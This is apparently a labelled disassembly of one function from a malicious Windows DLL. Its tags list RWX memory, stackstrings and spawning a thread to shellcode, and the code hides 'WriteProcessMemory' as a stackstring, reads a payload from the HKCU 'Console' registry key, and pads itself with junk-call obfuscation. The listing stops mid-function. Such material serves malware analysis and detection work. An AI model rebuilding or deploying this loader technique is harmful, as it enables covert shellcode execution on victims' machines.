Function at 0x1800018d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov qword [rbp + 7], 0xfffffffffffffffe
call fcn.1800010e0
test eax, eax
je 0x1800018f9
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001907
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001915
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001923
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001931
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000193f
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x18000194d
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x18000195b
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001969
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001977
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001985
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001993
call fcn.1800012f0
call fcn.180001190
test eax, eax
je 0x1800019a1
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x1800019af
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x1800019bd
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x1800019cb
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x1800019d9
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x1800019e7
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x1800019f5
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001a03
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a11
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001a1f
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001a2d
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a3b
call fcn.180001050
call fcn.1800012f0
test eax, eax
je 0x180001a49
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001a57
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001a65
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001a73
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001a81
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001a8f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001a9d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001aab
call fcn.180001500
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180001b03
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [0x1800164a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov qword [rbp - 9], 0xf
xor r12d, r12d
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], r12b
lea edx, [r12 + 0xc]
lea rcx, [rbp - 0x21]
call fcn.1800047d0
nop
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0xf]
call fcn.180001780
nop
cmp qword [rbp - 9], 0x10
jb 0x180001b43
mov rcx, qword [rbp - 0x21]
call fcn.1800055d8
mov qword [rbp - 9], 0xf
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], 0
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x49]
call fcn.1800018b0
nop
call fcn.180001050
test eax, eax
je 0x180001b6f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001b7d
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001b8b
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001b99
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001ba7
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001bb5
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001bc3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001bd1
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001bdf
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001bed
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001bfb
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001c09
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001c17
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001c25
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x180001c33
call fcn.1800010e0
call fcn.180001450
test eax, eax
je 0x180001c41
call fcn.180001190
call fcn.180001050
test eax, eax
je 0x180001c4f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001c5d
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001c6b
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001c79
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001c87
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001c95
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001ca3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001cb1
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001cbf
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001ccd
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001cdb
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001ce9
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001cf7
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001d05
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001d13
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001d21
call fcn.180001050
mov dword [rbp + 0x7f], 0x736e6f43
mov dword [rbp + 0x83], 0x656c6f
lea rax, [rbp - 0x51]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x7f]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x77], r12d
call fcn.180001050
test eax, eax
je 0x180001d67
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001d75
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001d83
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001d91
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001d9f
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001dad
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001dbb
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001dc9
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001dd7
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001de5
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001df3
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001e01
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001e0f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001e1d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001e2b
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001e39
call fcn.180001050
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004da8
mov rbx, rax
call fcn.1800010e0
test eax, eax
je 0x180001e7e
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001e8c
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001e9a
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ea8
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001eb6
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001ec4
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ed2
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001ee0
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001eee
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001efc
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001f0a
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001f18
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001f26
call fcn.180001450
call fcn.1800010e0
test eax, eax
je 0x180001f34
call fcn.180001500
call fcn.180001190
test eax, eax
je 0x180001f42
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001f50
call fcn.1800013a0
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004da8
mov rdi, rax
call fcn.180001240
test eax, eax
je 0x180001f95
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001fa3
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001fb1
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001fbf
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x180001fcd
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x180001fdb
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x180001fe9
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001ff7
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180002005
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180002013
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180002021
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x18000202f
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x18000203d
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x18000204b
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180002059
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180002067
call fcn.180001050
cmp dword [rbp + 0x77], 0
jbe 0x180002095
mov rdx, rdi
sub rbx, rdi
mov r8, rdi
neg r8
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rdx], al
inc rdx
lea rcx, [r8 + rdx]
mov eax, dword [rbp + 0x77]
cmp rcx, rax
jb 0x180002080
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800020d8
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000212c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000211f
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x180002100
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000212c
call fcn.1800010e0
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000214b
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000215e
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800021aa
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000219d
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x180002180
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800021aa
call fcn.180001240
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800021e1
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002228
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000221e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002201
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x18000222d
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000223b
call fcn.1800010e0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002272
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x1800022b9
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x1800022af
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002292
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002333
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x1800022d8
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x1800022eb
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002333
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000232d
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x18000236c